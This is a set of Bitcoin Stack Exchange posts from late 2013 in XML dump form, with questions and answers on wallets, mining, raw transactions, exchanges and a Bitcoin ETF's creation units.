  <row Id="17164" PostTypeId="1" CreationDate="2013-11-23T18:34:18.810" Score="0" ViewCount="127" Body="&lt;p&gt;I have only MultiBit installed. Is this enough, or do I have to install the original bitcoin program to download the blockchain?&lt;/p&gt;&#xA;" OwnerUserId="9217" LastActivityDate="2013-11-23T20:27:13.407" Title="Is original bitcoin program needed with multibit?" Tags="|blockchain|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17165" PostTypeId="2" ParentId="13971" CreationDate="2013-11-23T18:48:30.057" Score="2" Body="&lt;p&gt;Normally, ETFs define a &quot;Creation Units&quot; (CU), for which they are exchangeable electronically with the ETF administrator.  If the size isn't be practical for a retail investor, then the value of any discrepancy is eventually captured by HFT arbitrageurs, thus forcing the prices into alignment.  This tends to be very effective in keeping the prices within transaction costs of eachother.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.investopedia.com/terms/c/creationunit.asp&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.investopedia.com/terms/c/creationunit.asp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.flexshares.com/education/what-are-etfs/how-do-etfs-work&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.flexshares.com/education/what-are-etfs/how-do-etfs-work&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to Crispy's Form S-1 link, if you're able to qualify as an &quot;Authorized Participant&quot;, then you can do the redemptions yourself.  Normal people can't do it:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Baskets may be created or redeemed only by Authorized Participants.&#xA;  Each Authorized Participant must (1) be a &lt;strong&gt;registered broker-dealer&lt;/strong&gt; or&#xA;  other securities market participant such as a bank or other financial&#xA;  institution which is not required to register as a broker-dealer to&#xA;  engage in securities transactions, (2) be a direct &lt;strong&gt;participant in DTC&lt;/strong&gt;,&#xA;  (3) have entered into &lt;strong&gt;an agreement with the Trustee&lt;/strong&gt; and the Sponsor&#xA;  (“Authorized Participant Agreement”) and (4) have established a&#xA;  &lt;strong&gt;Bitcoin custody account&lt;/strong&gt; (“Authorized Participant Custody Account”)&#xA;  with the Trustee. The Authorized Participant Agreement provides the&#xA;  procedures for the creation and redemption of Baskets and for the&#xA;  delivery of Bitcoins required for such creations or redemptions. A&#xA;  list of the current Authorized Participants can be obtained from the&#xA;  Trustee or the Sponsor. See “Creation and Redemption of Shares” for&#xA;  more details.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and the size is fairly large:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Shares may be purchased from the Trust only in one or more blocks&#xA;  of [50,000] Shares (a block of [50,000] Shares is called a Basket).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If not, and you spot a discrepancy in price, then you can go long the cheap basket vs. going short the expensive basket, and &lt;em&gt;theoretically&lt;/em&gt; rely on the &quot;Authorized Participants&quot; to eventually normalize the prices.  In practice, these exchanges are &lt;em&gt;not&lt;/em&gt; efficient and continue to exhibit pricing anomalies, so this trade could go very much against you and stay that way for a very long time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.forbes.com/sites/beltway/2013/09/03/how-bitcoin-spreads-violate-a-fundamental-economic-law/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.forbes.com/sites/beltway/2013/09/03/how-bitcoin-spreads-violate-a-fundamental-economic-law/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9626/why-do-the-price-of-bitcoins-vary-wildly-between-exchanges&quot;&gt;Why do the price of bitcoins vary wildly between exchanges?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the W. Twins didn't distinguish between exchanges on their Creation Units , then Gresham's Law tells us that their ETF would become flooded with bitcoin from the cheaper exchanges.  I assume they're smart enough to figure this out, and define their Creation Units such that the CUs reflect the stated investment policy &quot;to reflect the performance of a weighted average price of Bitcoins&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Gresham%27s_law&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.wikipedia.org/wiki/Gresham's_law&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9216" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-11-24T18:05:20.247" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17166" PostTypeId="2" ParentId="16553" CreationDate="2013-11-23T19:53:30.107" Score="1" Body="&lt;p&gt;There is a fairly robust market for these on ebay.  One sells every few days.  I have bought several from ebay with no problems (except for my underperforming post office).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PayPal is a little frustrating but you get used to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure to post a good quality photo of the hologram and clearly describe the that it is a V1 error coin.&lt;/p&gt;&#xA;" OwnerUserId="9220" LastActivityDate="2013-11-23T19:53:30.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17168" PostTypeId="1" AcceptedAnswerId="17170" CreationDate="2013-11-23T20:06:14.797" Score="-1" ViewCount="386" Body="&lt;p&gt;I am trying to learn bitcoin by writing a script that finds a balance of a set of addresses by scanning all raw transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the following link, the output at index 1 has no address and is marked as strange. What does that mean? Does it mean that the .1 testnet coin is destroyed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/testnet/tx/c08053db370893765c88c93e2fe4db0aa8ebc02c70b2c91109a6081b06b5e060&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/testnet/tx/c08053db370893765c88c93e2fe4db0aa8ebc02c70b2c91109a6081b06b5e060&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="1829" LastEditDate="2013-11-23T21:41:48.107" LastActivityDate="2013-11-23T21:41:48.107" Title="What does the text strange or nonstandard type mean in the output of a transaction?" Tags="|testnet|raw-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17169" PostTypeId="2" ParentId="17164" CreationDate="2013-11-23T20:27:13.407" Score="2" Body="&lt;p&gt;You don't need the original Bitcoin QT progam installed to use MultiBit.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-11-23T20:27:13.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17170" PostTypeId="2" ParentId="17168" CreationDate="2013-11-23T21:02:00.273" Score="3" Body="&lt;p&gt;It's just a script blockexplorer.com doesn't seem to understand and consequently marks as &quot;strange&quot;. Bitcoin scripts determine who is able to claim the bitcoins. Transfering them to an address is just one of many possible options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the coins of a transaction A are spent in a transaction B two scripts are involved: The &quot;ScriptPubKey&quot; of transaction A and the &quot;ScriptSig&quot; of transaction B. The two scripts are combined and executed as a whole.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, the scripts check if the spender can identify itself with a private key corresponding to the address specified in transaction A. But not in this case:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at the column ScriptPubKey: It says &lt;code&gt;OP_WITHIN&lt;/code&gt;. This command checks if a number is in a given range. The &lt;a href=&quot;http://blockexplorer.com/testnet/tx/dc3aad51b4b9ea1ef40755a38b0b4d6e08c72d2ac5e95b8bebe9bd319b6aed7e#i2795359&quot; rel=&quot;nofollow&quot;&gt;transaction&lt;/a&gt; claiming these coins puts the arguments &lt;code&gt;-1&lt;/code&gt; &lt;code&gt;-100&lt;/code&gt; and &lt;code&gt;100&lt;/code&gt; on the stack. Since -1 is between -100 and 100 the transaction is valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, this doesn't make much sense, but it's just a testnet transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information about scripts have a look at this &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;wiki page&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9175" LastActivityDate="2013-11-23T21:02:00.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17173" PostTypeId="2" ParentId="17136" CreationDate="2013-11-23T22:31:44.940" Score="0" Body="&lt;p&gt;The best way for you to purchase the funds are to go to &lt;a href=&quot;http://www.buymastercoin.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.buymastercoin.com/&lt;/a&gt; and make  a purchase as described on the site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or just go to the google spreadsheet that is used as a sort of an exchange where you can purchase from the MSC holders themselves: &lt;a href=&quot;https://docs.google.com/spreadsheet/ccc?key=0ApGPLGUd5ZCzdHFxbnhHQjBDSDVKamY5UHlWdkNMNWc&amp;amp;usp=sharing#gid=0&quot; rel=&quot;nofollow&quot;&gt;https://docs.google.com/spreadsheet/ccc?key=0ApGPLGUd5ZCzdHFxbnhHQjBDSDVKamY5UHlWdkNMNWc&amp;amp;usp=sharing#gid=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No need for a special Wallet but it is definitely recommendable to make a new address for the Mastercoins&lt;/p&gt;&#xA;" OwnerUserId="9201" LastActivityDate="2013-11-23T22:31:44.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17175" PostTypeId="1" CreationDate="2013-11-23T23:05:34.337" Score="0" ViewCount="625" Body="&lt;p&gt;I have bee scouring on how to fund accounts in captioned exchanges from the US-preferably with a credit card or even paypal where possible, I suppose no online sites would do ACH confirmations type transactions. I have noticed some of online sites don't want to deal with us on this side of the pond. What ways are some you using to fund your accounts?&lt;/p&gt;&#xA;" OwnerUserId="9232" LastActivityDate="2014-02-05T13:35:14.393" Title="How To Send Cash To BTC-e, Crypto-Trade" Tags="|sending|cash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17176" PostTypeId="1" AcceptedAnswerId="17181" CreationDate="2013-11-23T23:58:30.873" Score="20" ViewCount="26698" Body="&lt;p&gt;I want to import my private key from the android's Bitcoin Wallet (the one created by Andreas Schildbach) but it can export it only in an encrypted way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I decrypt the file so I can import the key to my Bitcoin Qt?&lt;/p&gt;&#xA;" OwnerUserId="6064" LastEditorUserId="5406" LastEditDate="2016-01-05T13:50:43.713" LastActivityDate="2019-06-29T01:35:27.933" Title="How to decode private key from Android Bitcoin Wallet?" Tags="|wallet|bitcoin-core|bitcoin-wallet-app|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17177" PostTypeId="2" ParentId="17147" CreationDate="2013-11-23T23:59:53.017" Score="3" Body="&lt;p&gt;It goes to the Bitcoin miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transaction_fees&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6064" LastActivityDate="2013-11-23T23:59:53.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17178" PostTypeId="1" CreationDate="2013-11-24T00:09:04.250" Score="1" ViewCount="712" Body="&lt;p&gt;I reinstalled windows7, but luckily it saved my old windows in windows.old plus i backed up encrypted wallet to external device.  How exactly do I restore it?&lt;/p&gt;&#xA;" OwnerUserId="9234" LastActivityDate="2013-11-24T06:07:28.213" Title="I had $1000 on an encrypted wallet and need to restore it on bitcoin qt" Tags="|backup|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17179" PostTypeId="1" CreationDate="2013-11-24T00:12:17.987" Score="8" ViewCount="430" Body="&lt;p&gt;I am new to bitcoin programming, and want to build some apps to get more familiar with it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am curious is, how could I implement a basic auction site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to make it as automated as possible. So, the basic process would be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;There would be a countdown for the bidding. Users can then send bitcoins to me (or say they will pay that amount?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The person that has said they will pay the most at the end wins and everyone else gets their bitcoins back.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some things that worry me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want it to be secure. Ideally, to bid I don't have to store all of your bitcoins on my server while the auction is on, but I still want to make sure you have the amount needed to bid. Is that possible? One way, like many seem to do, is to have users load up an account with bitcoins and then bid, but ideally, I'd like to not have to store the users bitcoins just in case they do not want to trust me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whatever happens, I want it to be automated. So at the end all the users get their coins back that lost, the winner automatically gets their bid taken from them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on this? It looks like something like this could be implemented with Bitcoin Scripts but those are not quite implemented fully yet, correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help/thoughts would be awesome!&lt;/p&gt;&#xA;" OwnerUserId="9235" LastEditorUserId="5406" LastEditDate="2013-11-24T10:11:25.587" LastActivityDate="2013-11-24T10:11:25.587" Title="How to make sure that bidders in an auction have sufficient Bitcoin without storing money for them?" Tags="|transactions|payment|website-integration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17181" PostTypeId="2" ParentId="17176" CreationDate="2013-11-24T00:52:55.067" Score="24" Body="&lt;p&gt;from: &lt;a href=&quot;https://github.com/schildbach/bitcoin-wallet/tree/master/wallet&quot;&gt;https://github.com/schildbach/bitcoin-wallet/tree/master/wallet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The backup file is encrypted using your chosen password. You can use OpenSSL to decrypt:&#xA;&#xA;openssl enc -d -aes-256-cbc -a -in &amp;lt;filename&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7099" LastActivityDate="2013-11-24T00:52:55.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17183" PostTypeId="2" ParentId="876" CreationDate="2013-11-24T01:25:16.140" Score="0" Body="&lt;p&gt;I would like to point out another macroeconomic related issue for the time all bitcoins are mined. The money is accumulating to the ones who know how to make the money to make more money. If the economy is not able to produce more coins, it will either fall into loan trap, deflation spiral which will reach quickly smallest fraction of coin or a global war will happen that resets the system. So bitcoin needs a way to raise the upper limit. Would it be possible to couple the hash algorithm with date so that in the beginning of hash more choises will be possoble than 0000000 today? And maybe also more slow algorithms to be used for the time pure energy is running quantum math?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My second macroissue would be related to populatipn growth. Monetary system needs to adapt to it. Deflation is hard to happen because of greed, but hunger will raise if jobless is caused by missing or standing money. Someone needs to find a way to inject money into system. Same does apply for seasional need for money when corn needs to be processed- othetwise it will rot because of no money to pay the bill e.t.c. There is a reason why gold is no more base currency.&lt;/p&gt;&#xA;" OwnerUserId="9240" LastActivityDate="2013-11-24T01:25:16.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17185" PostTypeId="2" ParentId="14152" CreationDate="2013-11-24T01:50:34.843" Score="6" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin-abe/bitcoin-abe&quot;&gt;Abe&lt;/a&gt; does exactly what you want. I will walk the entire blockchain from bitcoin-qt/bitcoind and populate a local database. It supports several database backends including sqlite, Postgres, MySQL and Oracle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will take quite some time to walk the blockchain and populate the database, possibly a few days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has a web based interface that is very similar to &lt;a href=&quot;https://blockchain.info/&quot;&gt;blockchain.info&lt;/a&gt; and &lt;a href=&quot;https://blockexplorer.com&quot;&gt;blockexplorer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7099" LastActivityDate="2013-11-24T01:50:34.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17186" PostTypeId="1" AcceptedAnswerId="17193" CreationDate="2013-11-24T02:19:58.300" Score="5" ViewCount="2159" Body="&lt;p&gt;I'm just starting to screw around with bitcoin mining.  I've been a long time Boinc pseudo-enthusiast and so I just had to check out bitcoin mining.  I've started using bfgminer and I'm a little confused as to how its administration should go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get it running in the terminal and it shows me the main menu, but is there a way to exit out of that menu and keep it running in the background?  Then once it's going, is there a way to bring the menu back up to check in on it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked around for an answer to this and I haven't been able to find one yet; can anyone put me on the right track?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="9213" LastActivityDate="2015-12-05T20:13:23.637" Title="Administration of bfgminer in linux" Tags="|linux|ubuntu|bfgminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17187" PostTypeId="1" CreationDate="2013-11-24T04:46:50.587" Score="5" ViewCount="22578" Body="&lt;p&gt;My budget for mining hardware is $600. Would there be an ASIC miner that I could buy for this that would return this and also net a decent amount of profit within a month or so? Is it even worth it for beginners without tons of money to invest in it now?&lt;/p&gt;&#xA;" OwnerUserId="9245" LastEditorUserId="5406" LastEditDate="2016-03-11T15:09:48.157" LastActivityDate="2016-03-11T15:09:48.157" Title="Would it be worth it to start mining bitcoins at this point?" Tags="|mining-profitability|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17188" PostTypeId="2" ParentId="14326" CreationDate="2013-11-24T04:58:48.357" Score="2" Body="&lt;p&gt;The interesting thing about that paper is that, if I understood correctly, it doesn't &lt;em&gt;require&lt;/em&gt; pools to collude in order to attempt the &quot;selfish miner&quot; strategy - any pool with more than 25% of the total hash power could do it solo - right now there are pools which could do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And with just slightly more than 33% of total hash power, they could make their attack unstoppable, earning much more coins than their fair share - thus providing a strong incentive for people to abandon their pools to join the fest. And even without reaching the magical 51% number, just with more than 33% they could eventually run the network, deciding which transactions they like or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their logic seems pretty compelling though I admit I wasn't able to understand everything - which means the real threshold for Bitcoin's network security, as-is right now, is actually 33% rather than 51%. Which in turn means there ought to be a big emigration of people out of the biggest pools to the small ones, for the benefit of the whole network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will be interesting to see what the main devs do to address this...&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2013-11-24T04:58:48.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17189" PostTypeId="2" ParentId="16754" CreationDate="2013-11-24T05:01:12.437" Score="1" Body="&lt;p&gt;GRouPcoin is an inflate-forever coin (50 coins per block forever, not halving/halting like multiple others) and all proceeds go to miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devtome.com/doku.php?id=groupcoin&quot; rel=&quot;nofollow&quot;&gt;http://devtome.com/doku.php?id=groupcoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is the predecessor of Devcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rarely used but has recently been one pool mining it (bitparking).&lt;/p&gt;&#xA;" OwnerUserId="9246" LastActivityDate="2013-11-24T05:01:12.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17191" PostTypeId="2" ParentId="17187" CreationDate="2013-11-24T05:51:14.157" Score="2" Body="&lt;p&gt;It's impossible to predict the income from mining a month out, but it is extremely unlikely that anything on the market would break-even. This is mostly due to the laws of supply and demand - there is significant demand from people who either don't care about breaking even or don't understand the risks. As long as these people are buying miners, anything at a reasonable price is likely to sell out very fast.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2013-11-24T05:51:14.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17192" PostTypeId="2" ParentId="17161" CreationDate="2013-11-24T05:53:17.627" Score="7" Body="&lt;p&gt;Information on current (ie, not past/public/resolved) security issues should be sent to the private bitcoin-security@lists.sourceforge.net mailing list.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2013-11-24T05:53:17.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17193" PostTypeId="2" ParentId="17186" CreationDate="2013-11-24T05:54:33.780" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://www.gnu.org/software/screen/&quot; rel=&quot;nofollow&quot;&gt;GNU Screen&lt;/a&gt; is often the ideal tool to run interactive programs in the background. You can also run it with --syslog and/or --api-listen to have a more traditional daemon-type process.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2013-11-24T05:54:33.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17194" PostTypeId="2" ParentId="14152" CreationDate="2013-11-24T05:56:13.023" Score="2" Body="&lt;p&gt;Unfortunately, there is no good (easy to use, desktop software) program for this. You can use Bitcoin-Qt's debug window (or JSON-RPC server, if you choose to enable it) to request information using methods like getblock/getrawtransaction, but it isn't very user-friendly.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2013-11-24T05:56:13.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17195" PostTypeId="2" ParentId="17179" CreationDate="2013-11-24T06:05:33.020" Score="8" Body="&lt;p&gt;The correct way to do this (beware: extremely technical) is to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Reserve a coin of your own for each auction (the &quot;auction coin&quot;). This shouldn't be too big (you will lose it until the auction is over), but try not to make a dedicated one just for the sake of the auction (use a small one you already have!).&lt;/li&gt;&#xA;&lt;li&gt;Create an address for the auction's winning bid (the &quot;auction address&quot;). This can be a normal address, escrow address, or whatever.&lt;/li&gt;&#xA;&lt;li&gt;Bidders should create a raw transaction consuming this coin as an input, and paying to the auction address. They should sign the transaction for all their own coins (added to the auction coin), and send this to you immediately to place their bid.&lt;/li&gt;&#xA;&lt;li&gt;When the auction is over, you then sign the highest bid's transaction for the input consuming the auction coin, and broadcast it to the network. Note that this will invalidate all the other bid transactions you were sent.&lt;/li&gt;&#xA;&lt;li&gt;As soon as this winning bid confirms, you deliver the auctioned product. If it is double-spent, you then pick the next highest bid and repeat step 4.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="942" LastActivityDate="2013-11-24T06:05:33.020" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17196" PostTypeId="2" ParentId="17178" CreationDate="2013-11-24T06:07:28.213" Score="1" Body="&lt;p&gt;Be very careful. First, shutdown Bitcoin-Qt completely. Rename its current wallet.dat file to something else (you can delete it, but just rename it to be safe). Then put your backup in its place. Start Bitcoin-Qt and you're done.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2013-11-24T06:07:28.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17197" PostTypeId="1" AcceptedAnswerId="17314" CreationDate="2013-11-24T06:50:39.667" Score="2" ViewCount="246" Body="&lt;p&gt;Is there any danger in sending any remaining bitcoin funds that are still sitting in a Mastercoin address, i.e. the bitcoin address from which one sent funds to the Exodus address?&lt;/p&gt;&#xA;" OwnerUserId="5960" LastEditorUserId="5960" LastEditDate="2013-11-24T07:03:50.190" LastActivityDate="2013-11-26T09:04:32.947" Title="Sending Bitcoins from a Mastercoin Address" Tags="|omni|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17199" PostTypeId="1" CreationDate="2013-11-24T07:24:05.800" Score="0" ViewCount="2233" Body="&lt;p&gt;Would one of the better methods to crack Bitcoin be to start creating a massive database of key pairs? It would then be possible to reference the Private key required off the public key from the DB.&lt;/p&gt;&#xA;" OwnerUserId="9248" LastActivityDate="2013-11-25T15:54:46.237" Title="Generating Public &amp; Private key pairs for cracking Bitcoin" Tags="|encryption|" AnswerCount="2" CommentCount="0" ClosedDate="2013-11-28T13:59:41.920" ContentLicense="CC BY-SA 3.0" />
  <row Id="17200" PostTypeId="1" CreationDate="2013-11-24T08:10:09.450" Score="-1" ViewCount="337" Body="&lt;p&gt;I just downloaded GUIMiner for my Windows and in the tutorial they said that i should create a miner. I have no idea how to do it. Could someone tell me?&lt;/p&gt;&#xA;" OwnerUserId="9249" LastEditorUserId="5406" LastEditDate="2016-04-10T10:31:55.560" LastActivityDate="2016-04-10T10:31:55.560" Title="How do you create a miner?" Tags="|miner-configuration|guiminer|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17202" PostTypeId="2" ParentId="17200" CreationDate="2013-11-24T11:12:00.093" Score="0" Body="&lt;p&gt;You can create an account on a mining pool like Slush's pool (&lt;a href=&quot;http://mining.bitcoin.cz/&quot; rel=&quot;nofollow&quot;&gt;http://mining.bitcoin.cz/&lt;/a&gt;). Everything is written there.&lt;/p&gt;&#xA;" OwnerUserId="6064" LastActivityDate="2013-11-24T11:12:00.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17204" PostTypeId="1" CreationDate="2013-11-24T14:40:27.227" Score="2" ViewCount="960" Body="&lt;p&gt;I would like to pay a miner's fee.  Places like MtGox allow the option of adding one.  I would like to add one.  Often I will add 0.0005 BTC to the end of the amount, but no miners take my fee.  May I ask how I get those good, hardworking miners to take my fee?&lt;/p&gt;&#xA;" OwnerUserId="9259" LastActivityDate="2013-11-24T15:17:58.430" Title="How do I add a miner's fee to a BTC transfer" Tags="|transactions|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17205" PostTypeId="2" ParentId="17204" CreationDate="2013-11-24T15:17:58.430" Score="1" Body="&lt;p&gt;Depends what you're using to create and broadcast the transaction (txn). If you're using a web/GUI wallet, then there's usually an option somewhere. If you're crafting txns by hand or interested in the protocol, the miner will receive any unspent BTC from the txns (any amount from the input that's not sent to the recipient or back to you as change).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory, the lucky and hardworking miner that's solves the block containing your txn will be rewarded handsomely with 25 BTC and the fees from all txns contained in the block. In practice, most miners are in a pool, so the reward will be shared with all miners participating in the same pool as that lucky and hardworking miner&lt;/p&gt;&#xA;" OwnerUserId="3597" LastActivityDate="2013-11-24T15:17:58.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17206" PostTypeId="2" ParentId="16745" CreationDate="2013-11-24T15:25:05.840" Score="1" Body="&lt;p&gt;First you should go to site you want to buy something then go to the menu where you can deposit bitcoin, it redirected me to some bitpay.com page with a qr code, so I copied the address besides the qrcode, and went to webmoney's WMX purse and pressed spend (or send bitcoin) and it successfully been sent, but bitpay didn't recognized the payment so after few days I got the transaction from webmoney and blockchain (supposedly the site they use for bitcoin transferring) and sent it to the purchase site support and asked them for help after few days they added it to my account.&lt;/p&gt;&#xA;" OwnerUserId="8820" LastActivityDate="2013-11-24T15:25:05.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17207" PostTypeId="2" ParentId="17199" CreationDate="2013-11-24T15:28:21.280" Score="4" Body="&lt;p&gt;It will take significant resources (probably more electricity than can be generated by all fossil fuels on Earth) and time (orders of magnitude greater than the age of the universe) to generate a complete Bitcoin address &quot;rainbow table&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://bitcoin.stackexchange.com/a/3205/3597&quot;&gt;these answers&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="3597" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-11-24T15:28:21.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17208" PostTypeId="1" CreationDate="2013-11-24T17:06:27.337" Score="-1" ViewCount="1368" Body="&lt;p&gt;I successfully purchased some Bitcoins via Coinbase. Coinbase makes sense to me as it seems like buying a stock like I can via ETrade. I was able to easily link my bank account to coinbase and it seemed very straightforward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Earlier today, I stumbled up &lt;a href=&quot;http://www.buttercoin.com/&quot; rel=&quot;nofollow&quot;&gt;Buttercoin&lt;/a&gt;. It describes itself as a Bitcoin Exchange. Later, it mentions that I can link my bank account. How does Coinbase differ from Buttercoin? Or are they two similar but competing services?&lt;/p&gt;&#xA;" OwnerUserId="9261" LastEditorUserId="5406" LastEditDate="2013-11-25T10:25:58.197" LastActivityDate="2013-11-25T10:25:58.197" Title="What is Buttercoin, and how does it differ from other exchanges such as Coinbase?" Tags="|coinbase.com|buttercoin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17209" PostTypeId="2" ParentId="17208" CreationDate="2013-11-24T17:25:11.027" Score="-2" Body="&lt;p&gt;Buttercoin is a work in progress, it is open-source driven and is kinda slow in its development right now.&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2013-11-24T17:25:11.027" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
